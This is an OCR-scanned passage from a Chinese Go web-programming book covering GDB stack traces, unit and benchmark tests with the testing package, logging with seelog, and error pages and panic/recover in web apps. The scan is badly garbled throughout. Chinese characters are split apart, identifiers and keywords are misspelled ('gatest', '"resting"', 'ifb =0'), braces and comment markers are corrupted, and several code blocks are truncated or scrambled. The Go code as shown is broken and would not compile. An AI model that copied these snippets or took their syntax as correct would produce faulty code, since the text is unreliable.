91 in runtime.chanrecy (c=void, ep=void, selected=void, 






o/src /pkg/runtime, 7 
6f in runtime.cha id, c=void) 
o/src/pkg/runtir 0 

6f in main.main () at /home/xiemengjun/gdbfile.go:22 
0c7 in runtime.main () at /nome/xiemengjun/go/src/pkg/ 


#2 0x00000000004 





runtime/proc. 
#5 0x000000000040d16a in schedunlock () at /home/xiemengjun/go/src/pkg/ 
runtime/pre 267 
#6 0x0000 





执行 的 ， 每 个 函数 的 调用 顺序 已 经 明明 白白 地 显示 出 来 了 。 
小 结 


本 节 我 们 介绍 了 GDB 调 试 Go 语言 程序 的 一 些 基本 命令 ， 包 括 run、 
print. info, set variable、coutinue、list、break 等 经 常用 到 的 调试 命令 ， 
通过 上 面 的 例子 演示 ， 相 信 读 者 已 经 对 于 通过 GDB 调 试 Go 语言 程序 有 
了 基本 的 理解 ， 如 果 你 想 获取 更 多 的 调试 技巧 请 参考 官方 网 站 的 GDB 调 
试 手册 ， 以 及 GDB 官 方 网 站 的 手册 。 




















11.3 ”Go 语言 怎么 写 测 试用 例 


开发 程序 很 重要 的 一 点 是 测试 ， 我 们 如 何 保证 代码 的 质量 ， 如 何 保 
证 每 个 函数 可 运行 ， 运 行 结果 正确 ， 又 如 何 保证 写 出 来 的 代码 性 能 是 好 
的 ， 我 们 知道 单元 测试 的 重点 在 于 发 现 程序 设计 或 实现 的 逻辑 错误 ， 使 
问题 及 早 暴露 ， 便 于 问题 的 定位 解决 ， 而 性 能 测试 的 重点 在 于 发 现 程序 
设计 上 的 一 些 问 题 ， 让 线 上 的 程序 能 够 在 高 并 发 的 情况 下 还 能 保持 稳 
定 。 本 小 节 将 带 着 这 一 连 串 的 问题 来 讲解 Go 语言 中 如 何 来 实现 单元 测 
试 和 性 能 测试 。 

Go 语言 中 自 带 有 一 个 轻 量 级 的 测试 框架 testing 和 自 带 的 go test 命 令 
来 实现 单元 测试 和 性 能 测试 ，testing 框 架 和 其 他 语言 中 的 测试 框架 类 











似 ， 你 可 以 基于 这 个 框架 写 针对 相应 函数 的 测试 用 例 ， 也 可 以 基于 该 杠 
架 写 相应 的 压力 测试 用 例 ， 那 么 接 下 来 让 我 们 看 一 下 怎么 写 。 


如 何 编写 测试 用 例 


由 于 go test 命 令 只 能 在 一 个 相应 的 目录 下 执行 所 有 文件 ， 所 以 我 们 
接 下 来 新 建 一 个 项 目 目录 gotest， 这 样 我 们 所 有 的 代码 和 测试 代码 都 在 
这 个 目录 下 。 

接 下 来 我 们 在 该 目录 下 面 创建 两 个 文件 ，gotest.go 和 gotest_test.g0。 

1. gotest.go: 这 个 文件 里 面 我 们 是 创建 了 一 个 包 ， 里 面 有 一 个 函数 
实现 了 除法 运算 。 


package gatest 























import ( 
"errors" 


func Division(a, b float64) (float64, error) { 
ifb =0 } 
return 0，errors.New{" 除 数 不 能 为 0"} 
上 


return a / b, nil 


} 
2. gotest_test.go: 这 是 我 们 的 单元 测试 文件 ， 请 记 住 下 面 的 这 些 原 
则 。 


- 文件 名 必须 以 、test.go' 结 尾 ， 这 样 在 执行 "go test` 的 时 候 才 会 执行 到 相应 的 代码 

- 你 必须 import ‘testing ` 这 个 包 

- 所 有 的 测试 用 例 函 数 必 须 是 `“ ?est Fk 

= 测试 用 例会 按照 源 代码 中 写 的 顺序 依次 执行 

- 测试 函数 "TestXzx () "的 参数 是 "testing.T` ， 我 们 可 以 使 用 该 类 型 来 记录 错误 或 者 是 测 
试 状态 

- 测试 格式 : “func Testxxx (t *testing.T) ，Xxx` 部 分 可 以 为 任意 的 字母 数字 的 纽 台 ， 
但 是 首 字母 不 能 是 小 写字 母 [a-z2] ， 例 如 "Testintdiv 是 错误 的 函数 名 

- 函数 中 通过 调用 `resting.T'` M ‘error’, ‘Errorf*, ‘FailNow’, ‘Fatal’, 


ratal ' 方 法， 说明 测试 不 通过 ， 调 用 `zcg 方法 用 来 记录 测试 的 信息 
以 下 是 我 们 的 测试 用 例 的 代码 。 
package gotest 
import ( 
"resting" 
) 
func Test Division 1(t *testing.t) { 


if i, e := Division(6, 2); i !=3 || e != nil { //try a unit test 
on function 








t.Error ("除法 函数 测试 
} else { 

上 Log (" 第 一 个 测试 通过 了 ") 7/ 记录 一 些 你 期 望 记 录 的 信息 
1 





) 7/ 如 果 不 是 如 预期 的 那么 就 报错 


} 


func Test Division 2(t *testing.t) { 
t+:-Prror(" 就 是 不 通过 ") 
} 


我 们 在 项 目 目录 下 面 执行 -go test ,就 会 显示 如 下 信息 。 


--- FAIL: Test_Division 2 (0.00 seconds) 
gotest test.go:16: 就 是 不 通过 

FAIL 

exit status 1 

FAIL gotest 0.0135 





从 这 个 结果 显示 测试 没有 通过 ， 因 为 在 第 二 个 测试 函数 中 我 们 写 死 了 测试 不 通过 的 代码 
`t.Error ， 那 么 我 们 的 第 一 个 函数 执行 的 情况 怎么 样 呢 ? 默认 情况 下 执行 “go test "是 不 会 显示 
测试 通过 的 信息 的 ,， 我 们 需要 项 - 上 参数 、 go test -v"， 这 样 就 会 显示 如 下 信息 。 








exit status 1 
FAIL gotest 0.012s 

过 程 ， 我 们 看 到 测试 函数 1 rest Division 1° 测试 通过 ， 
失败 了 ， 最 后 得 出 结论 测试 不 通过 。 接 下 来 我 们 把 测试 函数 





上 面 的 输出 
而 测试 函数 2 Test_Division 2 
2 修改 成 如 下 代码 。 
func Test Division 2(t *testing.T) { 
if ，e := Division(6, 0); e== nil { //try a unit test on function 
t.Error("Division did not work as expected.") 


77 如 果 不 是 如 预期 的 那么 就 报错 








} else { 
t.Log("one test passed.", e) /7 记录 一 些 你 期 望 记录 的 信息 
} 
} 


然后 我 们 执行 ~go test -vs MLTR. wT. 
RUN Test Division 1 

PAS. Test Division 1 (0.00 seconds) 

gotest_test.go:11: 第 一 个 测试 通过 了 

est Division 2 

PASS: Test_Division_2 (0.00 seconds) 

gotest_test.go:20: one test passed. 除数 不 能 为 

PASS 

ok gotest 0.0135 


如 何 编写 压力 测试 


压力 测试 用 来 检测 函数 方法 ) 的 性 能 ， 和 编写 单元 功能 测试 的 方 


法 类 似 ， 此 处 不 再 歼 述 ， 但 需要 注意 以 下 几 点 。 
。 压力 测试 用 例 必 须 遵循 如 下 格式 ， 其 中 XXX 可 以 是 任意 字母 数 
字 的 组 合 ， 但 是 首 字母 不 adie 

func BenchmarkXxx (b *testing.B) 
. go test ABNT TE UNRATE, 如 果 要 执行 压力 测试 需 
要 带 上 参数 。-testbench， 语 法 : -test.bench="test_name_regex"， 例 如 go 















test -test.bench=".*" 表 示 测试 全 部 的 压力 测试 函数 。 
o 在 压力 测试 用 例 中 ， 请 记得 在 循环 体内 使 用 testing.B.N， 以 使 测 
试 正常 运行 。 
e ”文件 名 也 必须 以 _test.go 结 尾 。 
下 面 我 们 新 建 一 个 压力 测试 文件 webbench_test.go， 代 码 如 下 所 示 。 
package gotest 
import ( 


“testing” 


) 


func Benchmark Division(b *testing.B) 1 
for i := 0; i < b.N; i++ ( //use b.N for looping 
Division(4, 5) 
上 
} 


func Benchmark TimeConsumingFunction(b *testing.B) { 


b.StopTimer O // 调 用 该 函数 停止 压力 测试 的 时 间 计数 





始 化 的 工作 , 例如 读 取 文件 数据 ,数据库 连接 之 类 的 ， 
SRT (i) ASE eA BA NEE 


b.StartTimer() // 重 新 开始 时 间 
for 1 := 0; i < b.N; itt ( 
Division(4, 5) 


} 
RA AAT fit 4 go test -file webbench_test.go -test.bench=".*"， 可 以 看 


} 











到 如 下 结果 。 
pass 
Benchmark_Division 500000000 7.76 ns/op 
Benchmark_TimeConsumingFunction 500000000 7.80 ns/op 
ok gotest 9.3645 、 zA 5 =; 
上 面 的 结果 显示 我 们 没有 执行 任何 TestXXX 的 单元 测试 函数 ， 显 示 
的 结果 只 执行 了 压力 测试 函数 ， 第 一 条 显示 Benchmark_Division 执 行 了 


500000000 次 ， 每 次 执行 的 平均 时 间 是 7.76 纳 秒 ， 第 二 条 显示 
Benchmark_TimeConsumingFunction 执 行 了 500000000 次 ， 每 次 执行 的 平 
均 时 间 是 7.80 纳 秒 。 最 后 一 条 显示 总 共 的 执行 时 间 。 

小 结 


通过 上 面 对 单 元 测试 和 压力 测试 的 学 习 ， 我 们 可 以 看 到 testing 包 很 


轻 量 ， 编 写 单元 测试 和 压力 测试 用 例 非常 简单 ， 配 合 内 置 的 go test 命 令 
就 可 以 方便 地 进行 测试 ， 这 样 在 每 次 修改 完 代码 后 ， 执 行 go test 就 可 以 
简单 完成 回归 测试 。 


11.4 总 结 


本 章 我 们 通过 三 节 内 容 介绍 了 Go 语言 的 错误 处 理 ， 调 试 和 测试 
第 11.1 节 介绍 了 Go 语言 中 如 何 处 理 错误 ， 如 何 设计 错误 处 理 [0]， 接 着 在 
第 11.2 节 介绍 了 如 何 通过 GDB 来 调试 程序 ， 通 过 GDB 我 们 可 以 单 步调 
试 、 可 以 查看 变量 、 修 改变 量 、 打 印 执行 过 程 等 ， 最 后 我 们 在 第 11.3 节 
介绍 了 如 何 利用 Go 语言 自 带 的 轻 量 级 框架 testing 来 编写 单元 测试 和 压力 
测试 ， 使 用 go test 就 可 以 方便 地 执行 这 些 测试 ， 使 将 来 代码 升级 修改 后 
很 方便 地 进行 回归 测试 。 这 一 章 也 许 对 读者 编写 程序 逻辑 没有 任何 帮 
助 ， 但 是 对 于 编写 出 来 的 程序 代码 保持 高 质量 是 至 关 重 要 的 ， 因 为 一 个 
好 的 Web 应 用 必定 有 良好 的 错误 处 理 机 制 〈 错 误 提示 的 友好 、 可 扩展 
性 ) 、 单 元 测试 和 压力 测试 ， 以 保证 上 线 之 后 代码 能 够 保持 良好 的 性 能 
和 按 预 期 运行 。 





第 12 章 ”部署 与 维护 


到 目前 为 止 ， 我 们 已 经 介绍 了 如 何 开发 程序 、 调 试 程序 及 测试 程 
序 ， 正 如 入 们 常 说 的 ， 最 后 10% 的 开发 工作 需要 花费 90% 的 时 间 ， 所 以 
本 章 我 们 将 强调 这 最 后 10% 的 工作 部 分 ， 要 真正 成 为 让 人 信任 并 使 用 的 
优秀 应 用 ， 需 要 考虑 到 一 些 细节 ， 上 述 的 10% 就 是 指 这 些小 细节 。 

本 章 我 们 将 通过 四 节 内 容 来 介绍 这 些小 细节 的 处 理 ， 第 12.1 节 介绍 
如 何在 生产 服务 上 记录 程序 产生 的 日 志 ， 如 何 记录 日 志 ， 第 12.2 节 介绍 
发 生 错误 时 我 们 的 程序 如 何 处 理 ， 如 何 保证 尽量 少 的 影响 到 用 户 的 访 
间 ， 第 12.3 节 介绍 如 何 部 署 Go 语言 的 独立 程序 ， 由 于 目前 Go 程序 还 无 法 
像 C 语 言 那样 写成 daemon， 那 么 我 们 如 何 管理 这 样 的 进程 程序 后 台 运 行 
WE? 第 12.4 节 讲 介绍 应 用 数据 的 备份 和 恢复 ， 尽 量 保证 应 用 在 崩溃 的 情 
况 能 够 保持 数据 的 完整 性 。 














12.1 应 用 日 志 





我 们 期 望 开发 的 Web 应 用 程序 能 够 把 整个 程序 运行 过 程 中 出 现 的 各 
种 事件 一 一 记录 下 来 ，Go 语 言 中 提供 了 一 个 简易 的 log 包 ， 使 用 该 包 可 
以 方便 地 实现 日 志 记 录 的 功能 ， 这 些 日 志 都 是 基于 fmt 包 的 打印 ， 再 结 
合 panic 之 类 的 函数 来 进行 一 般 的 打印 、 抛 出 错误 处 理 。Go 语 言 目 前 标 
准 包 只 是 包含 了 简单 的 功能 ， 如 果 想 把 我 们 的 应 用 日 志保 存 到 文件 ， 然 
后 又 能 够 结合 日 志 实现 很 多 复杂 的 功能 〈 编 写 过 Java 或 者 C++ 的 读者 应 
该 都 使 用 过 log4j 和 1log4cpp 之 类 的 日 志 工具 ) ， 可 以 使 用 第 三 方 开发 的 
一 个 日 志 系统 ，`https:/Wgithub.comycihub/seelog`， 它 实现 了 很 强大 的 日 
志 功能 。 我 们 接 下 来 介绍 如 何 通过 该 日 志 系统 来 实现 应 用 的 日 志 功 能 








seelog 介 绍 


seelog 是 用 Go 语言 实现 的 一 个 日 志 系统 ， 它 提供 了 一 些 简 单 的 函数 
来 实现 复杂 的 日 志 分 配 、 过 滤 和 格式 化 。 主 要 有 如 下 特性 。 
。 XML 的 动态 配置 ， 可 以 不 用 重新 编译 程序 而 动态 地 加 载 配置 信 





息 


e 支持 热 更 新 ， 能 够 动态 改变 配置 而 不 需要 重启 应 用 。 
e 支持 多 输出 流 ， 能 够 同时 把 日 志 输出 到 多 种 流 中 、 例 如 文件 
流 、 网 络 流 等 。 
。 支持 不 同 的 日 志 输出 
命令 行 输出 
文件 输出 
缓存 输出 
支持 log rotate 
> SMTP 邮 件 
面 只 列举 了 部 分 特性 ，seelog 是 一 个 特别 强大 的 日 志 处 理 系统 ， 
Tanneaee EANN. 接 下 来 我 将 简要 介绍 一 下 如 何在 项 目 中 使 
Ee 
首先 安装 seelog。 
go get -u github.com/cihub/seelog 


然后 我 们 米 看 一 个 简单 的 例子 。 


package main 
import log "github.com/cihub/seelog" 
func main() ( 


defer log.Flush() 
log-Info("Hello from Seelog!") 


编译 后 运行 如 果 出 现 了 Hello from seelog， 说 明 seelog 日 志 系 统 已 经 
成 功 安装 并 且 可 以 正常 运行 了 。 











基于 seelog 的 自 定义 日 志 处 理 























seelog 支 持 自 定义 日 志 处 理 ， 下 面 是 笔者 基于 它 自 定义 的 日 志 处 理 
包 的 部 分 内 容 。 


package logs 


inport { 
eae 
seelog "github. com/cihub/seelog" 


) 
var Logger seelog.LoggerInterface 


func loadAppContig() { 
appConfig := * 
<seelog minlevel="warn"> 
<outputs formatid="common"> 
srollingfile type="size" filename="/data/logs/roll. log" maxsize: 
"100000" maxrolis="5"/> 
<filter levele="critical"> 
<file path="/data/logs/eritical.loq" formatid="critical"/> 
<smtp formatid="criticalenail” senderaddress="astaxie@gnail. 
com" sendername="Shorturl API" hostname="smtp.gmail.com" hostport="587" 
username="mailusername" pessword="nailpassword"> 
crecipient address="xiemangjun@gmail.con"/> 
</smep> 
</filter> 
</outputs> 
<formata> 
<format id="common" format="$Date/$Time [SIEV] SNsgsnw /> 
<format ide"crivical" format="¢rile $Fullpath unc wegen" /> 

































<format id="criticalemail" format="Critical error on our server! \n 
atime spate SRelEile SFunc $sg \nsent by Seelog"/> 
</formats> 
</seelog> 





logger, err : 

if err != nil { 
fmt. Printin (err) 
return 


seelog.LoggerFromconfigaseytes ([]byte (appconfig) } 





) 
UseLogger (logger) 
3 


func initi) { 
DisableLog() 
loadappContig() 
i 


// Disablebog disables all library log output 
func DisableLogt) { 

Logger = seelog.Disabled 
} 


/1 Uselogger uses a specified seelog-LoggerInterface to output library 
log. 
// use this func if you are using seelog logging system in your app. 
func UseLogger (newLogger seelog.LoggerInterface) ( 
Logger = newLogger 


1 


上 面 主要 实现 了 三 个 函数 。 
e DisableLog 


初始 化 全 局 变量 Logger 为 seelog 的 禁用 状态 ， 主 要 为 了 防止 Logger 


被 多 次 初始 化 。 

e loadAppConfig 

根据 配置 文件 初始 化 seelog 的 配置 信息 ， 我 们 把 配置 文 伯 
串 读 取 设 置 好 ， 当 然 也 可 以 通过 读 取 XML 文 件 设置 ， 其 配置 
下 。 


= seelog 

minlevel 参 数 可 选 ， 如 果 被 配置 ， 高 于 或 等 于 此 级 别 的 日 
录 ， 同 理 maxlevel。 

= outputs 

输出 信息 的 目的 地 ， 这 里 分 成 了 两 份 数据 ， 一 份 记录 到 k 
件 里 面 。 另 一 份 设置 了 filter， 如 果 这 个 错误 级 别 是 critical， 4 
报警 邮件 。 

> formats 

定义 了 各 种 日 志 的 格式 。 

® UseLogger 


设置 当前 的 日 志 器 为 相应 的 日 志 处 理 。 


通过 字符 
说 明 如 


志 会 被 记 


log rotate 文 
人 么 将 发 送 





上 面 我 们 定义 了 一 个 自 定义 的 日 志 处 理 包 ， 下 面 就 是 使 用 示例 。 


package main 





发 生 错 误 发 送 邮 件 





上 面 的 例子 解释 了 如 何 设置 发 送 邮件 ， 我 们 通过 如 下 的 smtp 配 置 来 


发 送 邮件 。 


<smtp formatid="criticalemail" senderaddress="astaxie@gmail.com™ sen 
dername="ShortUrl API" hostname="smtp.gmail.com" hostport="587" username= 
smailusername" password="mailpassword"> 

<recipient address="xiemengjun@gmail.com"/> 

</smtp> 

邮件 的 格式 通过 criticalemail 配 置 ， 然 后 通过 其 他 的 配置 发 送 邮件 服 
务 器 的 配置 ， 通 过 recipient 配 置 接收 邮件 的 用 户 ， 如 果 有 多 个 用 户 可 以 
再 添加 一 行 。 

要 测试 这 个 代码 是 否 正常 工作 ， 可 以 在 代码 中 增加 类 似 下 面 的 一 
PRE: 不 过 记 住 过 后 要 把 它 删除 ， 否 则 上 线 之 后 就 会 收 到 很 多 垃圾 邮 
p 

logs, tagger Critical ("test critical, massaga” 

现在 ， 只 要 我 们 的 应 用 在 线 上 记录 一 个 rical 的 信息 ， 你 的 邮箱 就 
会 收 到 一 个 E-mail， 这 样 一 旦 线 上 的 系统 出 现 问题 ， 你 就 能 立马 通过 邮 
件 获知 ， 以 便 及 时 处 理 。 


使 用 应 用 日 志 


对 于 应 用 日 志 ， 每 个 人 的 应 用 场景 可 能 会 各 不 相同 ， 有 些 人 利用 应 
用 日 志 来 做 数据 分 析 ， 有 些 人 做 性 能 分 析 ， 有 些 人 做 用 户 行为 分 析 ， 还 
有 些 就 是 纯粹 的 记录 ， 以 方便 应 用 出 现 问题 的 时 候 辅助 查找 问题 。 

举 一 个 例子 ， 我 们 需要 跟踪 用 户 尝试 登录 系统 的 操作 。 这 里 会 把 成 
功 与 不 成 功 的 尝试 都 记录 下 来 。 记 录 成 功 的 使 用 “Info” 日 志 级 别 ， 而 不 
成 功 的 使 用 “warn” 级 别 。 如 果 想 查找 所 有 不 成 功 的 登录 ， 我 们 可 以 利用 
linux 的 grep 之 类 的 命令 工具 ， 如 下 所 示 。 

# cat /data/loge/roll.log | grep "failed login" 

2012-12-11 11:12:00 WARN : failed login attempt from 11.22.33. 44 username 
password 


通过 这 种 方式 ， 我 们 就 可 以 方便 查找 相应 的 信息 ， 有 利于 我 们 针对 
应 用 日 志 做 一 些 统计 和 分 析 。 另 外 我 们 还 需要 考虑 日 志 的 大 小 ， 对 于 一 
个 高 流量 的 Web 应 用 来 说 ， 日 志 的 增长 非常 可 怕 ， 所 以 我 们 在 seelog 的 
配置 文件 里 面 设置 了 logrotate， 这 样 就 能 防止 日 志文 件 因为 不 断 变 大 而 
导致 磁盘 空间 不 够 引起 问题 。 












































小 结 


通过 上 文 对 seelog 系 统 及 如 何 基于 它 进 行 自 定义 日 志 系统 的 学 习 ， 
现在 我 们 可 以 很 轻松 地 随 需 构 建 一 个 合适 的 功能 强大 的 日 志 处 理 系统 。 





日 志 处 理 系统 为 数据 分 析 提供 了 可 靠 的 数据 源 ， 比 如 通过 对 日 志 的 分 
析 ， 我 们 可 以 进一步 优化 系统 ， 或 者 应 用 出 现 问题 时 方便 查找 定位 问 
题 ， 另 外 seelog 也 提供 了 日 志 分 级 功能 ， 通 过 对 minlevel 的 配置 ， 我 们 可 
以 很 方便 地 设置 测试 或 发 布 版 本 的 输出 消息 级 别 。 


网 站 错误 处 理 


Web 应 用 一 旦 上 线 之 后 ， 有 可 能 出 现 各 种 错误 ， 具 体 如 下 所 示 。 
1. 数据 库 错 误 ; 指 与 访问 数据 库 服务 器 或 数据 相关 的 错误 。 例 如 


以 下 3 类 错误 
EE BE ENS SER TIE. A 


。 连接 错误 :这 一 类 错误 可 色 
密码 不 正确 、 或 者 数据 库 不 存在 。 

o 查询 错误 :使 用 的 SQL 非 法 导致 错误 ， 这 类 SQL 错 误 如 果 经 过 
严格 的 程序 测试 应 该 可 以 避免。 

o ”数据 错误 ， 数 据 库 中 的 约束 冲突 ， 例 如 ， 一 个 唯一 字段 中 插入 
一 条 重复 主键 的 值 就 会 报错 ， 但 是 如 果 应 用 程序 在 上 线 之 前 经 过 了 严格 
的 测试 ， 也 可 以 避免 这 类 问题 

2. 应 用 运行 时 错误 ， 这 类 错误 范围 很 广 ， 涵 盖 了 代码 中 出 现 的 几 
乎 所 有 错误 。 可 能 的 应 用 错误 的 情况 如 下 。 

se 文件 系统 和 权限 : 应 用 读 取 不 存在 的 文件 、 读 取 没 有 权限 的 文 
件 、 或 者 写 入 一 个 不 允许 写 入 的 文件 ， 都 会 导致 一 个 错误 。 如 果 应 用 读 
取 的 文件 格式 不 正确 也 会 报错 ， 例 如 配置 文件 应 该 是 ini 的 配置 格式 ， 而 
设置 成 了 JSON 格 式 就 会 报错 。 

e SZAN: 如 果 我 们 的 应 用 程序 耦合 了 其 他 第 三 方 接口 程 


12.2 


序 ， 例 如 应 用 程序 发 表 文 章 之 后 自动 
须 正 常 运行 才能 完成 我 们 发 表 一 篇 文 

3 RTIRA 这 些 错误 是 根据 
就 是 404 错 误 ， 虽 然 可 能 会 出 现 很 多 





有 401 未 授权 错误 (需要 认证 才能 访问 的 资源 ) 、 


调用 接 发 微 博 的 接口 ， 这 个 接口 必 
章 的 功能 。 

用 户 的 请 求 出 现 的 错误 ， 最 常见 的 
下 同 的 错误 ， 但 其 中 比较 常见 的 还 
403 禁 止 错误 不 允许 





用 户 访问 的 资源 ) 和 503 错 误 〈 程 序 内 部 出 错 ) 。 


4. 操作 系统 出 错 : 
错误 引起 的 ， 当 操作 系统 的 资源 被 分 
磁盘 满 了 ， 导 致 无 法 写 入 ， 这 样 就 会 

5. 网 络 出 错 包括 两 方面 : 
网 络 断 开 ， 这 样 就 导致 连接 中 断 ， 这 : 
但 是 会 影响 用 户 访问 的 效果 ， 另 一 方 





这 类 错误 都 是 由 于 应 用 程序 上 的 操作 系统 出 现 


配 完 ， 导 致死 机 ， 还 有 操作 系统 的 
引起 很 多 错误 。 


一 方面 是 用 户 请 求 应 用 程序 的 时 候 出 现 


种 错误 不 会 造成 应 用 程序 的 崩溃 ， 
面 是 应 用 程序 读 取 其 他 网 络 上 的 数 


据 ， 其 他 网 络 断 开会 导致 读 取 失败 ， 这 种 需要 对 应 用 程序 做 有 效 的 测 
试 ， 以 避免 这 类 问题 出 现 的 情况 下 程序 崩溃 。 


错误 处 理 的 目标 


在 实现 错误 处 理 之 前 ， 我 们 必须 明确 错误 处 理想 要 达到 的 目标 是 什 
么 ， 错 误 处 理 系统 应 该 完成 以 下 工作 。 

。 通知 访问 用 户 出 现 错 误 ， 不 论 出 现 的 是 一 个 系统 错误 还 是 用 户 
错误 ， 用 户 都 应 当知 道 Web 应 用 出 了 问题 ， 用 户 的 这 次 请 求 无 法 正确 完 
成 。 例如; 对 于 用 户 的 错误 请 求 ， 我 们 显示 一 个 统一 的 错误 页 面 
〈404.html) 。 出 现 系统 错误 时 ， 我 们 通过 自 定义 的 错误 页 面 显 示 系 统 
暂时 不 可 用 之 类 的 错误 页 面 (errorhtml) 。 

e 记录 错误 : 系统 出 现 错误 时 ， 一 般 就 是 我 们 调用 函数 的 时 候 返 
回 err 不 为 ni 的 情况 下 ， 可 以 使 用 前 面 介绍 的 日 志 系统 记录 到 日 志文 件 ， 
如 果 是 一 些 致命 错误 ， 则 通过 邮件 通知 系统 管理 员 。 一 般 404 之 类 的 错 
误 不 需要 发 送 邮件 ， 只 需要 记录 到 日 志 系统 。 

o ” 回 深 当前 的 请 求 操作 ， 如 果 一 个 用 户 请 求 过 程 中 出 现 了 一 个 服 
务 器 错误 ， 那 么 已 完成 的 操作 需要 回 滨 。 下 面 看 一 个 例子 ， 一 个 系统 将 
用 户 递 交 的 表单 保存 到 数据 库 ， tt 
器 ， 但 是 第 三 方 服务 器 挂 了 ， 这 就 导致 一 个 错误 ， 那 么 先前 存储 到 数据 
库 的 表单 数据 应 该 删除 〈 应 告知 无 效 ) ， 而 且 应 该 通知 才 户 系 系统 出 现 错 


。_ 保 证 现 有 程序 可 运行 可 服务 : 我 们 知道 没有 人 能 保证 程序 一 定 
能 够 一 直 正常 运行 着 ， 万 一 哪 一 天 程序 崩溃 了 ， 那 么 我 们 就 
误 ， 然 后 立刻 让 程序 重新 运行 起 来 ， 让 程序 继续 提供 服务 ， 
管理 员 ， 通 过 日 志 等 找 出 问题 


如 何 处 理 错误 


其 实 我 们 已 经 在 第 11.1 节 已 介绍 如 何 设计 错误 处 理 ， 这 里 我 们 再 从 
一 个 例子 详细 的 讲解 一 下 ， 如 何 来 处 理 不 同 的 错误 。 

。 通知 用 户 出 现 错 误 。 

我 们 可 以 有 两 种 错误 通知 用 户 在 访问 页 面 : 404.html 和 errorhtml， 
下 面 分 别 显示 了 错误 页 面 的 源码 。 























<html lan 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"> 
<tit1le> 找 不 到 页 面 </title> 
<meta name="viewport" content="width=device-width, initial-scale=1.0"> 


'en"> 





</head> 
<body> 
<div class="container"> 
<div class="row"> 
<div class="span10"> 
<div class="hero-unit"> 
<h1>404!</h1> 
<p>{ (.BrrorInfo}}</p> 
</div> 
</div><! 
</div> 
</div> 
</body> 
</html> 、 
男 一 个 源码 。 
<html lang="en"> 
<head> 
<meta http-equiv="Content-Type" content="text/htm1; charset=utf-8"> 
<title> 系 统 错误 页 面 </title> 
<meta name="viewport" content="width=device-width, initial-scale=1.0"> 








/span 





</head> 
<body> 
<div class="containez"> 
<div class="row"> 
<div class="spanl0"> 
<div class="hero-unit"> 
<h1> 系 统 暂时 不 可 用 !</h1> 
<p>{{ .ExrorInfo} }</p> 
</div> 
</div><! 
</div> 
</div> 
</body> 
</html> 


404 的 错误 处 理 逻 辑 ， 如 果 是 系统 的 错误 也 是 类 似 的 操作 。 











/span 


func (p *MyMux) ServeHTTP (w http.ResponseWriter, r *http.Request) { 


if r.URL.Path == "/" { 
aayhelloName (w, r) 
return 


} 
NotFound404 (w, r) 
return 


} 


func NotFound404(w http.ResponseWriter, r *http.Request) { 





log. Error (" 页 面 找 不 到 ") 7/ 记 录 错 误 日 志 

t, _= t.ParseFiles("tmpl/404.html", nil)  // 解 析 模 板 

ErrorInfo := "文件 找 不 到 " 7/ 获取 当前 用 户 信息 
t.Execute(w, ErrorInfo) 7/ 执 行 模板 的 merssr 操作 
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func SystemBrror(w http.ResponseWriter, r *http.Request) { 
log.Critical ("系统 错误 "} /7 系统 错误 触发 了 Critical， 那么 不 仅 会 记录 日 志 





还 会 发 送 邮件 
t, — = t.ParseFiles("tmpl/error. htm: iD /7 解析 模板 文件 
ErrorInfo := "系统 暂时 不 可 用 ” /7 获取 当 信息 
| 1/ 执行 模板 的 merger 操作 


} 


如 何 处 理 异 常 


很 多 其 他 语言 中 有 try...catch 关 键 词 ， 用 来 捕获 异常 情况 ， 但 是 其 实 
很 多 错误 都 是 可 以 预期 发 生 的 ， 而 不 需要 异常 处 理 ， 这 也 是 为 什么 Go 
语言 采用 了 函数 返回 错误 的 设计 ， 这 些 函 数 不 会 panic， 例 如 如 果 一 个 文 
件 找 不 到 ，os.Open 返 回 一 个 错误 ， 它 不 会 panic; 如 果 你 向 一 个 中 断 的 
网 络 连接 写 数据 ，net.Conn 系 列 类 型 的 Write 函数 返回 一 个 错误 ， 它 们 不 
会 panic。 这 些 状态 在 这 样 的 程序 里 都 是 可 以 预期 的 。 你 知道 这 些 操作 可 
能 会 失败 ， 因 为 设计 者 已 经 用 返回 错误 清楚 地 表明 了 这 一 点 。 这 就 是 上 
面 所 讲 的 可 以 预期 发 生 的 错误 。 

但 是 还 有 一 种 情况 ， 有 一 些 操作 几乎 不 可 能 失败 ， 而 且 在 一 些 特定 
的 情况 下 也 没有 办 法 返回 错误 ， 也 无 法 继续 执行 ， 这 种 情况 就 应 该 
panic。 举 个 例子 ， 如 果 一 个 程序 计算 x[j]， 但 是 越界 了 ， 这 部 分 代码 就 
会 导致 panic， 像 这 样 一 个 不 可 预期 的 严重 错误 就 会 引起 panic， 在 默认 
情况 下 它 会 杀 掉 进 程 ， 它 允许 一 个 正在 运行 这 部 分 代码 的 goroutine 从 发 
生 错 误 的 panic 中 恢复 运行 ， 发 生 panic 之 后 ， 这 部 分 代码 后 面 的 函数 和 
代码 都 不 会 继续 执行 ，Go 语 言 特意 这 样 设计 ， 因 为 要 区 别 于 错误 和 异 
常 ，panic 其 实 就 是 异常 处 理 。 如 下 代码 ， 我 们 期 望 通过 uid 来 获取 User 








中 的 usemame 信 息 ， 但 是 如 果 uid 越 界 了 就 会 抛 出 异常 ， 这 个 时 候 如 果 我 
们 没有 recover 机 制 ， 进 程 就 会 被 杀 死 ， 从 而 导致 程序 不 可 服务 。 因 此 ， 
为 了 程序 的 健壮 性 ， 需 要 在 一 些 地 方 建立 recover 机 制 。 
func GetUser(aid int) (username strini 
eee ae 2 
if x := recover (1; x != nil { 
.. 
10 





username = User [uid] 
return 


+ 

上 面 介绍 了 错误 和 异常 的 区 别 ， 那 么 我 们 在 开发 程序 的 时 候 如 何 来 
设计 呢 ? 规则 很 简单 ， 如 果 定 义 的 函数 失败 ， 它 就 应 该 返回 一 个 错误 。 
当 我 们 调用 其 他 package 的 函数 时 ， 如 果 这 个 函数 实现 得 很 好 ， 我 们 不 
需要 担心 它 会 panic， 除 非 真有 异常 情况 发 生 ， 即 使 那样 也 不 应 该 是 我 们 
去 处 理 它 。 而 panic 和 recover 是 针对 自己 开发 package 里 面 实现 的 逻辑 ， 
针对 一 些 特殊 情况 来 设计 。 


本 节 总 结 了 Web 应 用 部 署 之 后 如 何 处 理 各 种 错误 ; 网 络 错误 、 数 据 
库 错误 、 操 作 系统 错误 等 ， 当 错误 发 生 时 ， 我 们 的 程序 如 何 来 正确 处 
HE: 显示 友好 的 出 错 界面 、 回 滚 操作 、 记 录 日 志 、 通 知 管理 员 等 操作 ， 
最 后 介绍 了 如 何 来 正确 处 理 错 误 和 异常 。 一 般 的 程序 中 错误 和 异常 很 容 
